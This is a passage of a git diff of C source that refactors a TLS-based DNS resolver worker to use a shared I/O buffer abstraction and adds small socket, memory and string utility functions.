- ret = mbedtls_ssl_read(&ctx->ssl.ctx, ctx->read_buf + ctx->read_cnt_len, sizeof(ctx->read_buf) - ctx->read_cnt_len);
+ ret = mbedtls_ssl_read(
+ &ctx->ssl.ctx,
+ ctx->iobuf[0].m + ctx->iobuf[0].len,
+ ctx->iobuf[0].avail);
if (ret <= 0) {
// we don't renegotiate with terrorists.
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
}
- ctx->read_cnt_len += (size_t)ret;
+ prne_iobuf_shift(&ctx->iobuf[0], ret);
pos = 0;
while (true) {
- if (pos + 1 >= ctx->read_cnt_len) {
+ if (pos + 1 >= ctx->iobuf[0].len) {
break;
}
- msg_len = ((size_t)ctx->read_buf[pos] << 8) | (size_t)ctx->read_buf[pos + 1];
+ msg_len = prne_recmb_msb16(
+ ctx->iobuf[0].m[pos],
+ ctx->iobuf[0].m[pos + 1]);
if (msg_len > 512) { // unimplemented.
prne_dbgpf("* [resolv_wkr] Protocol error: received %zu bytes long msg. Dropping connection!\n", msg_len);
// try to get qid
- if (ctx->read_cnt_len > pos + 4) {
- const uint16_t qid = ((uint_fast16_t)ctx->read_buf[pos + 2] << 8) | (uint_fast16_t)ctx->read_buf[pos + 3];
+ if (ctx->iobuf[0].len > pos + 4) {
+ const uint16_t qid = prne_recmb_msb16(
+ ctx->iobuf[0].m[pos + 2],
+ ctx->iobuf[0].m[pos + 3]);
const prne_imap_tuple_t *tpl = prne_imap_lookup(&ctx->qid_map, qid);
if (tpl->val != NULL) {
@@ -1088,80 +1112,60 @@ LOOP:
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
}
- if (pos + 1 + msg_len >= ctx->read_cnt_len) {
+ if (pos + 1 + msg_len >= ctx->iobuf[0].len) {
break;
}
- proc |= resolv_proc_dns_msg(ctx, ctx->read_buf + pos + 2, msg_len, &err_flag);
+ proc |= resolv_proc_dns_msg(ctx, ctx->iobuf[0].m + pos + 2, msg_len, &err_flag);
if (err_flag) {
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
}
pos += 2 + msg_len;
}
- if (pos > 0) {
- memmove(ctx->read_buf, ctx->read_buf + pos, ctx->read_cnt_len - pos);
- ctx->read_cnt_len -= pos;
- }
+
+ prne_iobuf_shift(&ctx->iobuf[0], -pos);
}
- if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->write_cnt_len > 0) {
- ret = mbedtls_ssl_write(&ctx->ssl.ctx, ctx->write_buf, ctx->write_cnt_len);
+ if ((ctx->act_sck_pfd.revents & POLLOUT) && ctx->iobuf[1].len > 0) {
+ ret = mbedtls_ssl_write(
+ &ctx->ssl.ctx,
+ ctx->iobuf[1].m,
+ ctx->iobuf[1].len);
if (ret <= 0) {
// we don't renegotiate with terrorists.
resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
goto LOOP;
}
-
- memmove(ctx->write_buf, ctx->write_buf + (size_t)ret, ctx->write_cnt_len - (size_t)ret);
- ctx->write_cnt_len -= (size_t)ret;
+ prne_iobuf_shift(&ctx->iobuf[1], -ret);
}
- if (ctx->write_cnt_len == 0) {
+
+ if (ctx->iobuf[1].len == 0) {
proc |= resolv_send_dns_msgs(ctx);
}
}
- else if (pollret == 0) {
- resolv_close_sck(ctx, NULL, true);
- }
else {
resolv_close_sck(ctx, &RESOLV_RSRC_ERR_PAUSE, true);
}
}
+
+ pth_event_free(ev, FALSE);
}
static void resolv_proc_close (prne_resolv_t *ctx) {
- int pollret;
+ pth_event_t ev = pth_event(
+ PTH_EVENT_TIME,
+ prne_pth_tstimeout(RESOLV_SCK_CLOSE_TIMEOUT));
+ bool ret;
- do {
- switch (mbedtls_ssl_close_notify(&ctx->ssl.ctx)) {
- case MBEDTLS_ERR_SSL_WANT_READ:
- ctx->act_sck_pfd.events = POLLIN;
- break;
- case MBEDTLS_ERR_SSL_WANT_WRITE:
- ctx->act_sck_pfd.events = POLLOUT;
- break;
- case 0:
- resolv_close_sck(ctx, NULL, false);
- return;
- default:
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
- }
+ ret = prne_mbedtls_pth_handle(
+ &ctx->ssl.ctx,
+ mbedtls_ssl_close_notify,
+ ctx->act_sck_pfd.fd,
+ ev);
+ resolv_close_sck(ctx, ret ? NULL : &RESOLV_CONN_ERR_PAUSE, !ret);
- pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_CLOSE_TIMEOUT);
- if (pollret < 0) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
- }
- else if (pollret == 0) {
- resolv_close_sck(ctx, NULL, true);
- return;
- }
- else if (ctx->act_sck_pfd.revents & (POLLERR | POLLHUP | POLLNVAL)) {
- resolv_close_sck(ctx, &RESOLV_CONN_ERR_PAUSE, true);
- return;
- }
- } while (true);
+ pth_event_free(ev, FALSE);
}
static void resolv_wkr_free (void *p) {
@@ -1177,6 +1181,8 @@ static void resolv_wkr_free (void *p) {
prne_free_imap(&ctx->qid_map);
mbedtls_ssl_config_free(&ctx->ssl.conf);
mbedtls_ssl_free(&ctx->ssl.ctx);
+ prne_free_iobuf(ctx->iobuf + 0);
+ prne_free_iobuf(ctx->iobuf + 1);
prne_close(ctx->act_sck_pfd.fd);
prne_free(ctx);
@@ -1186,8 +1192,8 @@ static void resolv_wkr_fin (void *p) {
DECL_CTX_PTR(p);
prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL));
ctx->ctx_state = RESOLV_CTX_STATE_FIN_CALLED;
- pth_cond_notify(&ctx->cond, FALSE);
- prne_assert(pth_mutex_release(&ctx->lock));
+ prne_assert(pth_cond_notify(&ctx->cond, FALSE));
+ pth_mutex_release(&ctx->lock);
}
static void *resolv_wkr_entry (void *p) {
@@ -1212,8 +1218,8 @@ static void *resolv_wkr_entry (void *p) {
pth_cond_await(&ctx->cond, &ctx->lock, ev);
if (ev != NULL) {
- sck_close = pth_event_occurred(ev) != 0;
- pth_event_free(ev, PTH_FREE_ALL);
+ sck_close = pth_event_status(ev) != PTH_STATUS_PENDING;
+ pth_event_free(ev, FALSE);
}
}
prne_assert(pth_mutex_release(&ctx->lock));
@@ -1235,7 +1241,11 @@ static void *resolv_wkr_entry (void *p) {
prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_resolv_ns_pool_t pool_v4, const prne_resolv_ns_pool_t pool_v6) {
prne_resolv_t *ctx = NULL;
- if (wkr == NULL || ctr_drbg == NULL) {
+ if (wkr == NULL ||
+ ctr_drbg == NULL ||
+ pool_v4.cnt == 0 ||
+ pool_v6.cnt == 0)
+ {
errno = EINVAL;
return NULL;
}
@@ -1244,8 +1254,18 @@ prne_resolv_t *prne_alloc_resolv (prne_worker_t *wkr, mbedtls_ctr_drbg_context *
if (ctx == NULL) {
return NULL;
}
- ctx->read_cnt_len = 0;
- ctx->write_cnt_len = 0;
+ prne_init_iobuf(ctx->iobuf + 0);
+ prne_init_iobuf(ctx->iobuf + 1);
+ prne_iobuf_setextbuf(
+ ctx->iobuf + 0,
+ ctx->m_buf[0],
+ sizeof(ctx->m_buf[0]),
+ 0);
+ prne_iobuf_setextbuf(
+ ctx->iobuf + 1,
+ ctx->m_buf[1],
+ sizeof(ctx->m_buf[1]),
+ 0);
ctx->act_sck_pfd.fd = -1;
ctx->ctx_state = RESOLV_CTX_STATE_OK;
ctx->ssl.ctr_drbg = ctr_drbg;
@@ -1356,10 +1376,15 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) {
ny = prne_realloc(pool->ownership ? pool->arr : NULL, sizeof(prne_net_endpoint_t), cnt);
if (ny != NULL) {
+ if (!pool->ownership) {
+ memcpy(
+ ny,
+ pool->arr,
+ prne_op_min(pool->cnt, cnt) * sizeof(prne_net_endpoint_t));
+ }
pool->arr = (prne_net_endpoint_t*)ny;
pool->cnt = cnt;
pool->ownership = true;
- memzero(pool->arr, cnt * sizeof(prne_net_endpoint_t));
return true;
}
@@ -1367,6 +1392,12 @@ bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt) {
return false;
}
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership) {
+ prne_resolv_ns_pool_t ret = *pool;
+ ret.ownership = ownership;
+ return ret;
+}
+
void prne_resolv_init_prm (prne_resolv_prm_t *prm) {
prm->ctx = NULL;
prm->fut = NULL;
diff --git a/src/resolv.h b/src/resolv.h
index 44a2be8..71e4958 100644
--- a/src/resolv.h
+++ b/src/resolv.h
@@ -154,6 +154,7 @@ bool prne_resolv_prm_gettxtrec (prne_resolv_t *ctx, const char *name, prne_pth_c
void prne_resolv_init_ns_pool (prne_resolv_ns_pool_t *pool);
void prne_resolv_free_ns_pool (prne_resolv_ns_pool_t *pool);
bool prne_resolv_alloc_ns_pool (prne_resolv_ns_pool_t *pool, const size_t cnt);
+prne_resolv_ns_pool_t prne_resolv_own_ns_pool(const prne_resolv_ns_pool_t *pool, const bool ownership);
void prne_resolv_init_prm (prne_resolv_prm_t *prm);
void prne_resolv_free_prm (prne_resolv_prm_t *prm);
void prne_init_resolv_fut (prne_resolv_fut_t *fut);
diff --git a/src/util_ct.h b/src/util_ct.h
index 16d4157..ad8118f 100644
--- a/src/util_ct.h
+++ b/src/util_ct.h
@@ -16,10 +16,6 @@
#define prne_salign_next(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align) + 1) * (align))
#define prne_salign_at(x, align) (((x) % (align) == 0) ? (x) : ((x) / (align)) * (align))
-#if !defined(memzero)
-#define memzero(addr, len) memset((addr), 0, (len))
-#endif
-
#ifdef PRNE_DEBUG
#define prne_dbgpf(...) fprintf(stderr, __VA_ARGS__)
#define prne_dbgperr(str) perror(str)
@@ -33,6 +29,7 @@
}
#define prne_dbgast(expr) prne_assert(expr)
#define prne_dbgmast(expr, ...) prne_massert(expr, __VA_ARGS__)
+#define prne_dbgtrap(expr) prne_assert(expr)
#else
#define prne_dbgpf(...)
#define prne_dbgperr(str)
@@ -43,4 +40,5 @@
#define prne_massert(expr, ...) prne_assert(expr)
#define prne_dbgast(expr)
#define prne_dbgmast(expr, ...)
+#define prne_dbgtrap(expr) (expr)
#endif
diff --git a/src/util_rt.c b/src/util_rt.c
index 8a1e61b..24e924d 100644
--- a/src/util_rt.c
+++ b/src/util_rt.c
@@ -29,6 +29,31 @@ void prne_shutdown (const int fd, const int how) {
}
}
+bool prne_sck_fcntl (const int fd) {
+ fcntl(fd, F_SETFD, FD_CLOEXEC);
+ return fcntl(fd, F_SETFL, O_NONBLOCK) == 0;
+}
+
+int prne_chfd (const int old, const int ny) {
+ int ret;
+
+ if (old == ny) {
+ return old;
+ }
+
+ ret = dup2(old, ny);
+ if (ret < 0) {
+ return ret;
+ }
+ close(old);
+
+ return ret;
+}
+
+void prne_memzero(void *addr, const size_t len) {
+ memset(addr, 0, len);
+}
+
void *prne_malloc (const size_t se, const size_t cnt) {
size_t size;
@@ -164,6 +189,12 @@ size_t prne_str_shift_spaces (char *str, const size_t len) {
return ret;
}
+void prne_transstr (char *str, int(*trans_f)(int)) {
+ for (; *str != 0; str += 1) {
+ *str = (char)trans_f(*str);
+ }
+}
+
bool prne_hex_fromstr (const char *str, uint_fast8_t *out) {
static const uint_fast8_t shift[2] = { 4, 0 };
size_t i;
diff --git a/src/util_rt.h b/src/util_rt.h
index a9fb39b..f44e4ae 100644
--- a/src/util_rt.h
+++ b/src/util_rt.h
@@ -11,21 +11,17 @@
#include <mbedtls/ctr_drbg.h>
-#if 0
-bool prne_strendsw (const char *str, const char *w) {
- const size_t len_str = strlen(str);
- const size_t len_w = strlen(w);
-
- if (len_str < len_w) {
- return false;
- }
- return strcmp(str + (len_str - len_w), w) == 0;
-}
-#endif
-
void prne_empty_func (void);
void prne_close (const int fd);
void prne_shutdown (const int fd, const int how);
+/* prne_sck_fcntl(fd)
+*
+* Sets FD_CLOEXEC and O_NONBLOCK. Failure to set FD_CLOEXEC is ignored.
+*/
+bool prne_sck_fcntl (const int fd);
+int prne_chfd (const int old, const int ny);
+
+void prne_memzero(void *addr, const size_t len);
void *prne_malloc (const size_t se, const size_t cnt);
void *prne_realloc (void *ptr, const size_t se, const size_t cnt);
@@ -39,6 +35,7 @@ size_t prne_nstrlen (const char *s);
void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len);
char *prne_strnchr (const char *p, const char c, const size_t n);
size_t prne_str_shift_spaces (char *str, const size_t len);
+void prne_transstr (char *str, int(*trans_f)(int));
bool prne_hex_fromstr (const char *str, uint_fast8_t *out);
void prne_hex_tochar (const uint_fast8_t in, char *out, const bool upper);